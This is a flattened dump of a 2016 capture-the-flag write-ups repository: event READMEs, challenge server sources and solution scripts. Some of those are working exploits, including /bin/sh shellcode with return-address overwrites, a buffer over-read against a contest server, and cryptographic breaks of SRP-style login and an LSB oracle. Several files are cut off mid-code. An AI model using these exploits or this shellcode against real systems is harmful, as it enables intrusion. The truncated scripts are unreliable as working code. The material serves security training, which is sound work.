in xrange(len(Y[0])): 28 | s.add(n[i][j] == ((X[i][0]*Y[0][j]) + (X[i][1]*Y[1][j]) + (X[i][2]*Y[2][j]))) 29 | 30 | if (s.check() == sat): 31 | print "[*] Matrix problem satisfiable, solving..." 32 | sol_model = s.model() 33 | R = [[0,0,0], [0,0,0], [0,0,0]] 34 | for i in xrange(3): 35 | for j in xrange(3): 36 | R[i][j] = sol_model[X[i][j]].as_long() 37 | return R 38 | else: 39 | print "[-] Matrix problem unsatisfiable :(" 40 | return [] 41 | 42 | def xtea_decrypt_matrix(matrix): 43 | # whatsgoingonhere 44 | key = [0x74616877, 0x696F6773, 0x6E6F676E, 0x65726568] 45 | k = ''.join([pack('>I', x) for x in key]) 46 | 47 | m = [] 48 | 49 | # convert python matrix 50 | for i in xrange(3): 51 | for j in xrange(3): 52 | m.append(matrix[i][j]) 53 | 54 | # last ciphertext block used for validation 55 | m.append(0x4DE3F9FD) 56 | # known plaintext last block for validation 57 | kp = pack('I', x) for x in m]) 60 | cipher = xtea.new(k, mode=xtea.MODE_ECB) 61 | p1 = cipher.decrypt(c) 62 | 63 | # reorder blocks 64 | blocks = get_blocks(p1, 4) 65 | p1 = ''.join([b[::-1] for b in blocks]) 66 | 67 | # validate plaintext 68 | if(p1[-len(kp):] == kp): 69 | return p1 70 | else: 71 | return '' 72 | 73 | matrix = solve_matrix_system() 74 | print "[+] Matrix solution:", matrix 75 | p = xtea_decrypt_matrix(matrix) 76 | if (p != ''): 77 | print "[+] Found correct plaintext: [%s]" % p 78 | else: 79 | print "[-] Incorrect plaintext :(" -------------------------------------------------------------------------------- /2016/CODEGATE/README.md: -------------------------------------------------------------------------------- 1 | # CODEGATE CTF 2016 2 | 12 mrt 2016, 21:00 UTC — 13 mrt 2016, 21:00 UTC 3 | 4 | Official URL: http://codegate.bpsec.co.kr/ 5 | CTFtime event: [CTFtime](https://ctftime.org/event/299) 6 | 7 | ## Result 8 | | Place | Points | Rating points | 9 | |------:|-------:|--------------:| 10 | | - | - | - | 11 | 12 | ## Solved 13 | | Challenge | Type | Points | Write-up | 14 | |:----------|:-----|-------:|:-------------| 15 | | JS_is_not_a_jail | Misc. | 100 | [link](misc/jsisnotajail) | 16 | | OldSchool | Pwnable | 490 | [link](pwnable/oldschool) | 17 | -------------------------------------------------------------------------------- /2016/CODEGATE/pwnable/oldschool/challenge/ld-2.21.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2016/CODEGATE/pwnable/oldschool/challenge/ld-2.21.so -------------------------------------------------------------------------------- /2016/CODEGATE/pwnable/oldschool/challenge/libc-2.21.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2016/CODEGATE/pwnable/oldschool/challenge/libc-2.21.so -------------------------------------------------------------------------------- /2016/CODEGATE/pwnable/oldschool/challenge/oldschool: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2016/CODEGATE/pwnable/oldschool/challenge/oldschool -------------------------------------------------------------------------------- /2016/DEFCONCTF/README.md: -------------------------------------------------------------------------------- 1 | # DEF CON CTF Quals 2016 2 | 21 mei 2016, 02:00 CEST — 23 mei 2016, 02:00 CEST 3 | 4 | Official URL: https://2016.legitbs.net/ 5 | CTFtime event: [CTFtime](https://ctftime.org/event/320) 6 | 7 | ## Result 8 | | Place | Points | Rating points | 9 | |------:|-------:|--------------:| 10 | | - | - | - | 11 | 12 | ## Solved 13 | | Challenge | Type | Points | Write-up | 14 | |:----------|:-----|-------:|:-------------| 15 | | baby-re | Baby's First | 1 | [link](babysfirst/baby-re) | 16 | | xkcd | Baby's First | 1 | [link](babysfirst/xkcd) | 17 | | step | Reversing | 2 | [link](reversing/step) | 18 | 19 | -------------------------------------------------------------------------------- /2016/DEFCONCTF/babysfirst/baby-re/challenge/baby-re: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2016/DEFCONCTF/babysfirst/baby-re/challenge/baby-re -------------------------------------------------------------------------------- /2016/DEFCONCTF/babysfirst/xkcd/challenge/xkcd: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2016/DEFCONCTF/babysfirst/xkcd/challenge/xkcd -------------------------------------------------------------------------------- /2016/DEFCONCTF/babysfirst/xkcd/solution/xkcd_sploit.py: -------------------------------------------------------------------------------- 1 | # 2 | # DEF CON CTF Quals 2016 3 | # xkcd (baby's first/1) 4 | # 5 | # @a: Smoke Leet Everyday 6 | # @u: https://github.com/smokeleeteveryday 7 | # 8 | 9 | from pwn import * 10 | 11 | host = 'xkcd_be4bf26fcb93f9ab8aa193efaad31c3b.quals.shallweplayaga.me' 12 | port = 1354 13 | 14 | padding_string = 'A'*512 15 | flag = '' 16 | 17 | for overread_count in xrange(1, 257): 18 | h = remote(host, port, timeout = None) 19 | exploit_string = 'SERVER, ARE YOU STILL THERE? IF SO, REPLY "%s" (%d)' % (padding_string, 512 + overread_count) 20 | h.sendline(exploit_string) 21 | m = h.recvline() 22 | if ('NICE TRY' in m): 23 | break 24 | else: 25 | print m 26 | 27 | flag = m[512:] 28 | h.close() 29 | 30 | print "[+] Flag: [%s]" % flag -------------------------------------------------------------------------------- /2016/DEFCONCTF/reversing/step/challenge/step: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2016/DEFCONCTF/reversing/step/challenge/step -------------------------------------------------------------------------------- /2016/DEFCONCTF/reversing/step/solution/crack_sol.py: -------------------------------------------------------------------------------- 1 | # 2 | # DEF CON CTF Quals 2016 3 | # step (re/2) 4 | # 5 | # @a: Smoke Leet Everyday 6 | # @u: https://github.com/smokeleeteveryday 7 | # 8 | 9 | from pwn import * 10 | 11 | def inv_sbox(c): 12 | p = '' 13 | for i in xrange(len(c)): 14 | p += chr(((ord(c[i]) & 1) << 7) | ((ord(c[i]) & 0x20) << 1) | ((ord(c[i]) & 0x40) >> 1) | ((ord(c[i]) & 2) << 3) | ((ord(c[i]) & 0x80) >> 4) | ((ord(c[i]) & 8) >> 1) | ((ord(c[i]) & 4) >> 1) | ((ord(c[i]) & 0x10) >> 4)) 15 | return p 16 | 17 | key1 = "RotM" 18 | key2 = inv_sbox("Please, may I have the flag now\x00") 19 | 20 | host = 'step_8330232df7a7e389a20dd37eb55dfc13.quals.shallweplayaga.me' 21 | port = 2345 22 | 23 | h = remote(host, port, timeout = None) 24 | 25 | print h.recvuntil('Key1: ') 26 | h.sendline(key1) 27 | print h.recvuntil('Key2: ') 28 | h.sendline(key2) 29 | h.interactive() 30 | 31 | h.close() -------------------------------------------------------------------------------- /2016/DEFCONCTF/reversing/step/solution/crack_step.py: -------------------------------------------------------------------------------- 1 | # 2 | # DEF CON CTF Quals 2016 3 | # step (re/2) 4 | # 5 | # @a: Smoke Leet Everyday 6 | # @u: https://github.com/smokeleeteveryday 7 | # 8 | 9 | import idaapi 10 | 11 | def derive_key(xs, ys): 12 | return "".join(chr(ord(x) ^ ord(y)) for x, y in zip(xs, ys)) 13 | 14 | def repeating_key_xor(start_address, buffer_len, key): 15 | for i in xrange(buffer_len): 16 | c = idaapi.get_byte(start_address + i) ^ ord(key[(i % len(key))]) 17 | idaapi.patch_byte(start_address + i, c) 18 | return 19 | 20 | def selfmod_decoder(rip_address): 21 | if ((rip_address > 0x400935) and (rip_address <= 0x40103D)): 22 | idaapi.patch_byte(rip_address, idaapi.get_byte(rip_address) ^ (rip_address & 0xFF)) 23 | return 24 | 25 | routine_1_address = 0x400E0E 26 | candidate_plaintext = [0x55, 0x48, 0x89, 0xE5] 27 | key1 = ''.join([chr(idaapi.get_byte(routine_1_address + i) ^ candidate_plaintext[i]) for i in xrange(len(candidate_plaintext))]) 28 | 29 | print "[+] Key1: [%s]" % key1 30 | 31 | # Step 1 32 | repeating_key_xor(routine_1_address, 0x9E, key1) 33 | 34 | # Step 2 35 | routine_2_address = 0x400936 36 | repeating_key_xor(routine_2_address, 0xEC, key1) 37 | 38 | # Step 3 to be applied manually (or as a per-instruction SIGTRAP hook) -------------------------------------------------------------------------------- /2016/PCTF/README.md: -------------------------------------------------------------------------------- 1 | # Plaid CTF 2016 2 | 15 apr 2016, 21:00 UTC — 17 apr 2016, 21:00 UTC 3 | 4 | Official URL: http://plaidctf.com/ 5 | CTFtime event: [CTFtime](https://ctftime.org/event/315) 6 | 7 | ## Result 8 | | Place | Points | Rating points | 9 | |------:|-------:|--------------:| 10 | | 43 | 1177 | - | 11 | 12 | ## Solved 13 | | Challenge | Type | Points | Write-up | 14 | |:----------|:-----|-------:|:-------------| 15 | | pixelshop | Web | 300 | [link](web/pixelshop) | 16 | | tonnerre | Crypto | 200 | [link](crypto/tonnerre) | 17 | | rabit | Crypto | 175 | [link](crypto/rabit) | 18 | | butterfly | Pwnable | 150 | [link](pwnable/butterfly) | 19 | | unix_time_formatter | Pwnable | 76 | [link](pwnable/unix_time_formatter) | 20 | | plane_site | Misc | 75 | [link](misc/plane_site) | 21 | | morset | Misc | 50 | [link](misc/morset) | 22 | | untitled1 | Misc | 50 | [link](misc/untitled1) | 23 | | hevc | Misc | 50 | [link](misc/hevc) | 24 | | thestuff | Misc | 50 | [link](misc/thestuff) | 25 | -------------------------------------------------------------------------------- /2016/PCTF/crypto/rabit/challenge/rabit.py: -------------------------------------------------------------------------------- 1 | #/usr/bin/env python 2 | 3 | from Crypto.Random import random, atfork 4 | from Crypto.Util.number import bytes_to_long, long_to_bytes 5 | from hashlib import sha1 6 | 7 | import SocketServer,threading,os,time 8 | import signal 9 | 10 | from util import * 11 | from key import * 12 | 13 | PORT = 7763 14 | FLAG = "REDACTED" 15 | msg = """Welcome to the LSB oracle! N = {}\n""".format(N) 16 | 17 | def pad(s): 18 | assert(len(s) < N.bit_length() / 8) 19 | padded = bytes_to_long(s.ljust(N.bit_length()/8, padchar)) 20 | while decrypt(padded, p, q) == None: 21 | padded += 1 22 | return padded 23 | 24 | padded = pad(FLAG) 25 | enc_flag = encrypt(padded, N) 26 | 27 | assert long_to_bytes(padded)[:len(FLAG)] == FLAG 28 | assert decrypt(enc_flag, p, q) == padded 29 | assert decrypt(2, p, q) != None 30 | 31 | def proof_of_work(req): 32 | import string 33 | req.sendall("Before we begin, a quick proof of work:\n") 34 | prefix = "".join([random.choice(string.digits + string.letters) for i in range(10)]) 35 | req.sendall("Give me a string starting with {}, of length {}, such that its sha1 sum ends in ffffff\n".format(prefix, len(prefix)+5)) 36 | response = req.recv(len(prefix) + 5) 37 | if sha1(response).digest()[-3:] != "\xff"*3 or not response.startswith(prefix): 38 | req.sendall("Doesn't work, sorry.\n") 39 | exit() 40 | 41 | class incoming(SocketServer.BaseRequestHandler): 42 | def handle(self): 43 | atfork() 44 | req = self.request 45 | signal.alarm(60) 46 | 47 | def recvline(): 48 | buf = "" 49 | while not buf.endswith("\n"): 50 | buf += req.recv(1) 51 | return buf 52 | 53 | proof_of_work(req) 54 | 55 | signal.alarm(120) 56 | 57 | req.sendall(msg) 58 | 59 | req.sendall("Encrypted Flag: {}\n".format(enc_flag)) 60 | while True: 61 | req.sendall("Give a ciphertext: ") 62 | x = long(recvline()) 63 | m = decrypt(x, p, q) 64 | if m == None: 65 | m = 0 66 | req.sendall("lsb is {}\n".format(m % 2)) 67 | 68 | req.close() 69 | 70 | class ReusableTCPServer(SocketServer.ForkingMixIn, SocketServer.TCPServer): 71 | pass 72 | 73 | SocketServer.TCPServer.allow_reuse_address = True 74 | server = ReusableTCPServer(("0.0.0.0", PORT), incoming) 75 | 76 | print "Listening on port %d" % PORT 77 | server.serve_forever() 78 | -------------------------------------------------------------------------------- /2016/PCTF/crypto/rabit/challenge/util.py: -------------------------------------------------------------------------------- 1 | from Crypto.Util.number import getPrime, getRandomRange, GCD 2 | 3 | def getBlumPrime(nbits): 4 | p = getPrime(nbits) 5 | while p % 4 != 3: 6 | p = getPrime(nbits) 7 | return p 8 | 9 | def genKey(nbits): 10 | p = getBlumPrime(nbits/2) 11 | q = getBlumPrime(nbits/2) 12 | N = p * q 13 | 14 | return ((p,q), N) 15 | 16 | def randQR(N): 17 | return pow(getRandomRange(1, N), 2, N) 18 | 19 | def encrypt(m, N): 20 | return pow(m, 2, N) 21 | 22 | def legendreSymbol(a, p): 23 | return pow(a, (p-1)/2, p) 24 | 25 | def decrypt(c, p, q): 26 | if GCD(c, p*q) != 1: 27 | return None 28 | if legendreSymbol(c, p) != 1: 29 | return None 30 | if legendreSymbol(c, q) != 1: 31 | return None 32 | return pow(c, ((p-1)*(q-1) + 4) / 8, p*q) 33 | -------------------------------------------------------------------------------- /2016/PCTF/crypto/rabit/eq1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2016/PCTF/crypto/rabit/eq1.png -------------------------------------------------------------------------------- /2016/PCTF/crypto/tonnerre/challenge/server.py: -------------------------------------------------------------------------------- 1 | #/usr/bin/env python 2 | 3 | from Crypto.Random import random, atfork 4 | from Crypto.Hash import SHA256 5 | 6 | from database import import_permitted_users 7 | 8 | import SocketServer,threading,os,time 9 | 10 | msg = """Welcome to the Tonnerre Authentication System!\n""" 11 | flag = "REDACTED" 12 | 13 | N = 168875487862812718103814022843977235420637243601057780595044400667893046269140421123766817420546087076238158376401194506102667350322281734359552897112157094231977097740554793824701009850244904160300597684567190792283984299743604213533036681794114720417437224509607536413793425411636411563321303444740798477587L 14 | g = 9797766621314684873895700802803279209044463565243731922466831101232640732633100491228823617617764419367505179450247842283955649007454149170085442756585554871624752266571753841250508572690789992495054848L 15 | 16 | permitted_users = {} 17 | 18 | # This should import the fields from the data into the dictionary. 19 | # the dictionary is indexed by username, and the data it contains are tuples 20 | # of (salt, verifier) as numbers. note that the database stores these in hex. 21 | import_permitted_users(permitted_users) 22 | 23 | def H(P): 24 | h = SHA256.new() 25 | h.update(P) 26 | return h.hexdigest() 27 | 28 | def tostr(A): 29 | return hex(A)[2:].strip('L') 30 | 31 | class incoming(SocketServer.BaseRequestHandler): 32 | def handle(self): 33 | atfork() 34 | req = self.request 35 | req.sendall(msg) 36 | username = req.recv(512)[:-1] 37 | if username not in permitted_users: 38 | req.sendall('Sorry, not permitted.\n') 39 | req.close() 40 | return 41 | public_client = int(req.recv(512).strip('\n'), 16) % N 42 | c = (public_client * permitted_users[username][1]) % N 43 | if c in [N-g, N-1, 0, 1, g]: 44 | req.sendall('Sorry, not permitted.\n') 45 | req.close() 46 | return 47 | random_server = random.randint(2, N-3) 48 | public_server = pow(g, random_server, N) 49 | residue = (public_server + permitted_users[username][1]) % N 50 | req.sendall(tostr(permitted_users[username][0]) + '\n') 51 | req.sendall(tostr(residue) + '\n') 52 | 53 | session_secret = (public_client * permitted_users[username][1]) % N 54 | session_secret = pow(session_secret, random_server, N) 55 | session_key = H(tostr(session_secret)) 56 | 57 | proof = req.recv(512).strip('\n') 58 | 59 | if (proof != H(tostr(residue) + session_key)): 60 | req.sendall('Sorry, not permitted.\n') 61 | req.close() 62 | return 63 | 64 | our_verifier = H(tostr(public_client) + session_key) 65 | req.sendall(our_verifier + '\n') 66 | 67 | req.sendall('Congratulations! The flag is ' + flag + '\n') 68 | req.close() 69 | 70 | class ReusableTCPServer(SocketServer.ForkingMixIn, SocketServer.TCPServer): 71 | pass 72 | 73 | SocketServer.TCPServer.allow_reuse_address = True 74 | server = ReusableTCPServer(("0.0.0.0", 8561), incoming) 75 | server.timeout = 60 76 | server.serve_forever() 77 | -------------------------------------------------------------------------------- /2016/PCTF/crypto/tonnerre/eq1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2016/PCTF/crypto/tonnerre/eq1.png -------------------------------------------------------------------------------- /2016/PCTF/crypto/tonnerre/eq2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2016/PCTF/crypto/tonnerre/eq2.png -------------------------------------------------------------------------------- /2016/PCTF/crypto/tonnerre/eq3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2016/PCTF/crypto/tonnerre/eq3.png -------------------------------------------------------------------------------- /2016/PCTF/crypto/tonnerre/eq4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2016/PCTF/crypto/tonnerre/eq4.png -------------------------------------------------------------------------------- /2016/PCTF/crypto/tonnerre/solution/tonnerre_crack.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # 3 | # Plaid CTF 2016 4 | # tonnerre (CRYPTO/200) 5 | # 6 | # @a: Smoke Leet Everyday 7 | # @u: https://github.com/smokeleeteveryday 8 | # 9 | 10 | from Crypto.Hash import SHA256 11 | 12 | # GCD (times sign of b if b is nonzero, times sign of a if b is zero) 13 | def gcd(a,b): 14 | while b != 0: 15 | a,b = b, a % b 16 | return a 17 | 18 | # Extended Greatest Common Divisor 19 | def egcd(a, b): 20 | if (a == 0): 21 | return (b, 0, 1) 22 | else: 23 | g, y, x = egcd(b % a, a) 24 | return (g, x - (b // a) * y, y) 25 | 26 | # Modular multiplicative inverse 27 | def modInv(a, m): 28 | g, x, y = egcd(a, m) 29 | if (g != 1): 30 | raise Exception("[-]No modular multiplicative inverse of %d under modulus %d" % (a, m)) 31 | else: 32 | return x % m 33 | 34 | def H(P): 35 | h = SHA256.new() 36 | h.update(P) 37 | return h.hexdigest() 38 | 39 | def tostr(A): 40 | return hex(A)[2:].strip('L') 41 | 42 | N = 168875487862812718103814022843977235420637243601057780595044400667893046269140421123766817420546087076238158376401194506102667350322281734359552897112157094231977097740554793824701009850244904160300597684567190792283984299743604213533036681794114720417437224509607536413793425411636411563321303444740798477587L 43 | g = 9797766621314684873895700802803279209044463565243731922466831101232640732633100491228823617617764419367505179450247842283955649007454149170085442756585554871624752266571753841250508572690789992495054848L 44 | verifier = long('ebedd14b5bf7d5fd88eebb057af43803b6f88e42f7ce2a4445fdbbe69a9ad7e7a76b7df4a4e79cefd61ea0c4f426c0261acf5becb5f79cdf916d684667b6b0940b4ac2f885590648fbf2d107707acb38382a95bea9a89fb943a5c1ef6e6d064084f8225eb323f668e2c3174ab7b1dbfce831507b33e413b56a41528b1c850e59', 16) 45 | 46 | public_client = (pow(g, 2) * modInv(verifier, N)) % N 47 | 48 | assert (((public_client * verifier) % N) == pow(g, 2, N)) 49 | 50 | print "public_client> [%s]" % (tostr(public_client)) 51 | 52 | residue = raw_input('Residue?> ') 53 | residue_l = long(residue, 16) 54 | session_secret = pow(residue_l - verifier, 2, N) 55 | session_key = H(tostr(session_secret)) 56 | print "proof> [%s]" % H(tostr(residue_l) + session_key) -------------------------------------------------------------------------------- /2016/PCTF/pwnable/butterfly/challenge/butterfly: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2016/PCTF/pwnable/butterfly/challenge/butterfly -------------------------------------------------------------------------------- /2016/PCTF/pwnable/butterfly/solution/butterfly_sploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # 3 | # Plaid CTF 2016 4 | # butterfly (CRYPTO/200) 5 | # 6 | # @a: Smoke Leet Everyday 7 | # @u: https://github.com/smokeleeteveryday 8 | # 9 | 10 | from pwn import * 11 | from struct import pack, unpack 12 | 13 | shellcode = "\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05" 14 | 15 | host = 'butterfly.pwning.xxx' 16 | port = 9999 17 | 18 | function_start_addr = 0x400788 19 | rsp_adjust_addr = 0x400863 20 | jmp_rax_addr = 0x4006E6 21 | jnz_stckchk_addr = 0x40085B 22 | fgets_cnt_addr = 0x4007C4 23 | mov_edx_5_addr = 0x400830 24 | mov_r15_rbp_addr = 0x4007F1 25 | scratch_addr = 0x600D10 26 | 27 | jmp_rsp = 0x4006E5 28 | padding = "\x90" * 32 29 | adjust_rsp_instr = "\x48\x83\xEC\x60" 30 | 31 | pop_rbx = 'A'*8 32 | pop_r14 = 'B'*8 33 | pop_r15 = 'C'*8 34 | pop_rbp = 'D'*8 35 | 36 | cosmic_ray_0 = str(((rsp_adjust_addr << 3) | 6)) + pop_rbx + pop_r14 + pop_r15 + pop_rbp + pack(' 2 | -------------------------------------------------------------------------------- /2016/SECUINSIDE/trendyweb/index.php: -------------------------------------------------------------------------------- 1 | 48 | 49 | -------------------------------------------------------------------------------- /2016/SHARIFCTF/README.md: -------------------------------------------------------------------------------- 1 | # Sharif University CTF 2016 2 | 05 Feb. 2016, 06:30 UTC — 06 Feb. 2016, 18:30 UTC 3 | 4 | Official URL: http://ctf.sharif.edu/ 5 | CTFtime event: [CTFtime](https://ctftime.org/event/280) 6 | 7 | ## Result 8 | | Place | Points | Rating points | 9 | |------:|-------:|--------------:| 10 | | 174 | 500 | - | 11 | 12 | ## Solved 13 | | Challenge | Type | Points | Write-up | 14 | |:----------|:-----|-------:|:-------------| 15 | | Asian Cheetah | Misc | 50 | - | 16 | | Dumped! | Forensics | 100 | - | 17 | | Kick Tort Teen | Forensics | 50 | [link](forensics/kick_tort_teen) | 18 | | Rail Fence Cipher | Crypto | 50 | - | 19 | | We lost the Fashion Flag! | Forensics | 100 | - | 20 | | dMd | Reverse | 50 | - | 21 | | uagent | Forensics | 100 | - | 22 | -------------------------------------------------------------------------------- /2016/SHARIFCTF/forensics/kick_tort_teen/challenge/data.xls: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2016/SHARIFCTF/forensics/kick_tort_teen/challenge/data.xls -------------------------------------------------------------------------------- /2016/SHARIFCTF/forensics/kick_tort_teen/solution/fileXYZ.data: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2016/SHARIFCTF/forensics/kick_tort_teen/solution/fileXYZ.data -------------------------------------------------------------------------------- /2016/SHARIFCTF/forensics/kick_tort_teen/solution/macro_warning.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2016/SHARIFCTF/forensics/kick_tort_teen/solution/macro_warning.png -------------------------------------------------------------------------------- /2016/SHARIFCTF/forensics/kick_tort_teen/solution/solve.py: -------------------------------------------------------------------------------- 1 | """ 2 | SharifCTF 2016 - Forensics - Kick Tort Teen (50 pts) 3 | 4 | ============================[ Smoke Leet Everyday ]============================ 5 | """ 6 | 7 | #!/usr/bin/env python3 8 | 9 | def main(): 10 | 11 | data = [] 12 | 13 | print('[+] Reading values', end='... ') 14 | with open('data.csv') as f: 15 | for line in f: 16 | for i in line.split(','): 17 | value = (int(i) - 78) // 3 18 | data.append(value) 19 | print('done') 20 | 21 | with open('fileXYZ.data', 'wb') as f: 22 | print('[+] Writing decoded bytes', end='... ') 23 | f.write(bytes(data)) 24 | print('done') 25 | 26 | print('[+] Writing trailing bytes', end='...') 27 | f.write(bytes([98, 13, 0, 73, 19, 0, 94, 188, 0, 0, 0])) 28 | print('done') 29 | 30 | print('[+] Done: fileXYZ.data') 31 | 32 | 33 | if __name__ == '__main__': 34 | main() 35 | -------------------------------------------------------------------------------- /2016/TUCTF/README.md: -------------------------------------------------------------------------------- 1 | # TU CTF 2016 2 | 14 mei 2016, 00:00 CEST — 16 mei 2016, 00:00 CEST 3 | 4 | Official URL: http://ctf.asciioverflow.com/ 5 | CTFtime event: [CTFtime](https://ctftime.org/event/312) 6 | 7 | ## Result 8 | | Place | Points | Rating points | 9 | |------:|-------:|--------------:| 10 | | - | - | - | 11 | 12 | ## Solved 13 | | Challenge | Type | Points | Write-up | 14 | |:----------|:-----|-------:|:-------------| 15 | | The Neverending Crypto | Crypto | 10 | [link](crypto/theneverendingcrypto) | 16 | | Magic Image | Crypto | 100 | [link](crypto/magicimage) | 17 | | Secure Transmission | Crypto | 150 | [link](crypto/securetransmission) | 18 | | Hash n Bake | Crypto | 200 | [link](crypto/hashnbake) | 19 | | Student Grades | Web | 50 | [link](web/studentgrades) | 20 | | Duckprint | Web | 100 | [link](web/DuckPrint) | 21 | | Pet Padding Inc. | Web | 150 | [link](web/PetPaddingInc) | 22 | | Lucky Charms | Web | 150 | [link](web/LuckyCharms) | 23 | | I'm Playing! | Misc | 10 | [link](misc/implaying) | 24 | | The Nack | Misc | 100 | [link](misc/thenack) | 25 | | RE for 50 plz | Reversing | 50 | [link](re/refor50plz) | 26 | | bby's first elf | Pwn | 25 | [link](pwn/bbysfirstelf) | 27 | | Especially Good Jmps | Pwn | 75 | [link](pwn/especiallygoodjmps) | 28 | -------------------------------------------------------------------------------- /2016/TUCTF/crypto/hashnbake/challenge/hbake.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | def to_bits(length, N): 4 | return [int(i) for i in bin(N)[2:].zfill(length)] 5 | 6 | def from_bits(N): 7 | return int("".join(str(i) for i in N), 2) 8 | 9 | CONST2 = to_bits(65, (2**64) + 0x1fe67c76d13735f9) 10 | CONST = to_bits(64, 0xabaddeadbeef1dea) 11 | 12 | def hash_n_bake(mesg): 13 | mesg += CONST 14 | shift = 0 15 | while shift < len(mesg) - 64: 16 | if mesg[shift]: 17 | for i in range(65): 18 | mesg[shift + i] ^= CONST2[i] 19 | shift += 1 20 | return mesg[-64:] 21 | 22 | def xor(x, y): 23 | return [g ^ h for (g, h) in zip(x, y)] 24 | 25 | PLAIN_1 = "goatscrt" 26 | PLAIN_2 = "tu_ctf??" 27 | 28 | def str_to_bits(s): 29 | return [b for i in s for b in to_bits(8, ord(i))] 30 | 31 | def bits_to_hex(b): 32 | return hex(from_bits(b)).rstrip("L") 33 | 34 | if __name__ == "__main__": 35 | with open("key.txt") as f: 36 | KEY = to_bits(64, int(f.read().strip("\n"), 16)) 37 | print PLAIN_1, "=>", bits_to_hex(hash_n_bake(xor(KEY, str_to_bits(PLAIN_1)))) 38 | print "TUCTF{" + bits_to_hex(hash_n_bake(xor(KEY, str_to_bits(PLAIN_2)))) + "}" 39 | 40 | # Output 41 | # goatscrt => 0xfaae6f053234c939 42 | # TUCTF{****REDACTED****} 43 | -------------------------------------------------------------------------------- /2016/TUCTF/crypto/hashnbake/crc1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2016/TUCTF/crypto/hashnbake/crc1.png -------------------------------------------------------------------------------- /2016/TUCTF/crypto/hashnbake/crc2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2016/TUCTF/crypto/hashnbake/crc2.png -------------------------------------------------------------------------------- /2016/TUCTF/crypto/hashnbake/crc3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2016/TUCTF/crypto/hashnbake/crc3.png -------------------------------------------------------------------------------- /2016/TUCTF/crypto/securetransmission/challenge/40bec2fdb682af3046465a54f7776c8adb26ea4d.pcapng: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2016/TUCTF/crypto/securetransmission/challenge/40bec2fdb682af3046465a54f7776c8adb26ea4d.pcapng -------------------------------------------------------------------------------- /2016/TUCTF/crypto/securetransmission/challenge/client.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2016/TUCTF/crypto/securetransmission/challenge/client.pyc -------------------------------------------------------------------------------- /2016/TUCTF/pwn/especiallygoodjmps/challenge/23e4f31a5a8801a554e1066e26eb34745786f4c4: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2016/TUCTF/pwn/especiallygoodjmps/challenge/23e4f31a5a8801a554e1066e26eb34745786f4c4 -------------------------------------------------------------------------------- /2016/TUCTF/pwn/especiallygoodjmps/solution/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # 3 | # TUCTF 2016 4 | # especiallygoodjmps (PWN/75) 5 | # 6 | # @a: Smoke Leet Everyday 7 | # @u: https://github.com/smokeleeteveryday 8 | # 9 | 10 | from pwn import * 11 | from struct import pack as p, unpack as u 12 | 13 | host, port = ('130.211.202.98', 7575) 14 | 15 | r = remote(host, port) 16 | 17 | # prepare eip + ebp overwrite values 18 | new_eip = p(' 0804A048 meow 19 | new_ebp = p(' 2 | 3 | Validate 